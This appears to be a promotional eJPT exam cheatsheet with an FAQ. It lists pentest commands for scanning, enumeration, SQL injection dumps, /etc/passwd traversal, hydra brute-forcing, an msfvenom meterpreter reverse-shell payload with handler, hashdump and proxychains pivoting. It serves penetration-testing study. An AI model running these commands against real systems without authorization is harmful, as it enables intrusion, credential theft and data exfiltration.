# Host Discovery & Scanning
The eJPT starts with finding live hosts and open ports. Master nmap — it is the single most important tool for the exam.
nmap -sn 10.10.10.0/24
nmap -p- --min-rate=1000 -T4 TARGET -oN ports.txt
nmap -p OPEN_PORTS -sC -sV TARGET
nmap -sU --top-ports 100 TARGET
# Enumeration
Answer the exam questions by enumerating every service. Users, shares, versions and configs are what the questions ask about.
smbclient -N -L //TARGET ; enum4linux-ng -A TARGET
snmpwalk -v2c -c public TARGET
ftp TARGET # try anonymous / anonymous
gobuster dir -u http://TARGET -w /usr/share/wordlists/dirb/common.txt -x php,txt,html
# Web Attacks
The eJPT covers core web vulnerabilities: SQL injection, XSS, and directory traversal. Burp Suite and sqlmap do the heavy lifting.
sqlmap -u "http://TARGET/page.php?id=1" --batch --dbs
sqlmap -u "http://TARGET/page.php?id=1" --batch -D db -T users --dump
curl "http://TARGET/page?file=../../../../etc/passwd"
hydra -l admin -P /usr/share/wordlists/rockyou.txt TARGET http-post-form "/login:user=^USER^&pass=^PASS^:Invalid"
# Exploitation (Metasploit)
Unlike the OSCP, the eJPT encourages Metasploit. Learn the msfconsole workflow — it is your main exploitation tool.
search, set RHOSTS/LHOST, then run.msfconsole -q ; search TYPE:exploit SERVICE
use exploit/MODULE ; set RHOSTS TARGET ; set LHOST YOUR_IP ; run
msfvenom -p windows/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=4444 -f exe -o shell.exe
use exploit/multi/handler ; set PAYLOAD windows/meterpreter/reverse_tcp ; run
# Post-Exploitation & Pivoting
Once you have a Meterpreter session, gather info and pivot into internal subnets — a classic eJPT exam scenario.
getuid ; sysinfo ; hashdump
run autoroute -s 192.168.1.0/24
use auxiliary/server/socks_proxy ; run # then use proxychains
proxychains4 nmap -sT -Pn -p 445,3389 192.168.1.10
# eJPT Exam Tips
Strategy for the beginner-friendly, question-based exam.
❓ eJPT Frequently Asked Questions
The INE eJPT is a beginner-friendly, fully practical exam. You get around 48 hours in a live lab and answer a set of multiple-choice questions by finding flags and information on the target network. There is no written report — you answer questions based on what you compromise.
No. Unlike OSCP, CPTS or PNPT, the eJPT does not require a professional report. It is a dynamic, question-based exam: you exploit the lab and answer multiple-choice questions. This makes it one of the most beginner-friendly practical certifications.
Yes — the eJPT is widely considered the best entry-level practical pentest certification. It assumes little prior experience and pairs with INE's Penetration Testing Student (PTS) course. It covers the fundamentals: scanning, enumeration, web attacks, Metasploit and basic pivoting.
Yes — Metasploit is fully allowed and even encouraged. Unlike the OSCP (which limits it to one machine), the eJPT expects you to use Metasploit and Meterpreter for exploitation, pivoting (autoroute/socks) and post-exploitation.
Most candidates need 1–3 months. Completing the INE Penetration Testing Student (PTS) learning path and practicing on beginner HackTheBox and TryHackMe boxes is enough for the majority of students to pass.
The eJPT focuses on network and web fundamentals and includes basic pivoting (routing through a compromised host to reach an internal subnet). It is not an Active Directory-heavy exam like CPTS or PNPT — it is about mastering the fundamentals.
Take the eJPT first. It is the entry-level certification that builds the fundamentals (scanning, enumeration, exploitation, basic pivoting) with no report and no buffer overflow. The OSCP is a big step up. eJPT → OSCP/CPTS is a common path.
Yes. INE typically includes a free retake with the exam voucher, and the exam is designed to be accessible for beginners. Check the current INE policy for the exact retake and voucher terms before scheduling.
nmap for scanning, gobuster/dirb and Burp Suite for web, sqlmap for SQL injection, Metasploit/Meterpreter for exploitation and pivoting, hydra for brute force, and basic enumeration tools (enum4linux, smbclient). The fundamentals matter more than advanced tools.
Yes — as a learning accelerator. The free mindmap organizes 12,020+ commands across all eJPT domains (scanning, enumeration, web, Metasploit, pivoting) with instant search, so beginners find the right command fast while learning the methodology. Always follow your exam rules.
📚 Related Resources
- Nmap Cheatsheet — The #1 tool for the eJPT — full scanning reference
- Metasploit Cheatsheet — msfconsole, Meterpreter and pivoting — core eJPT tooling
- OSCP Cheatsheet — Your next step after the eJPT — 150+ exam commands
- SQL Injection Cheatsheet — A core eJPT web attack — payloads and sqlmap
- How to Start Pentesting — Beginner methodology and learning path for the eJPT
- Full Pentesting Cheatsheet — 200+ commands for web, network, Active Directory and privesc
Prepare your eJPT with 12,020+ commands
This cheatsheet is the surface. Pentest Mindmap organizes 12,020+ commands in 34 categories with instant search — perfect for finding the right command fast during your eJPT prep.
Start free →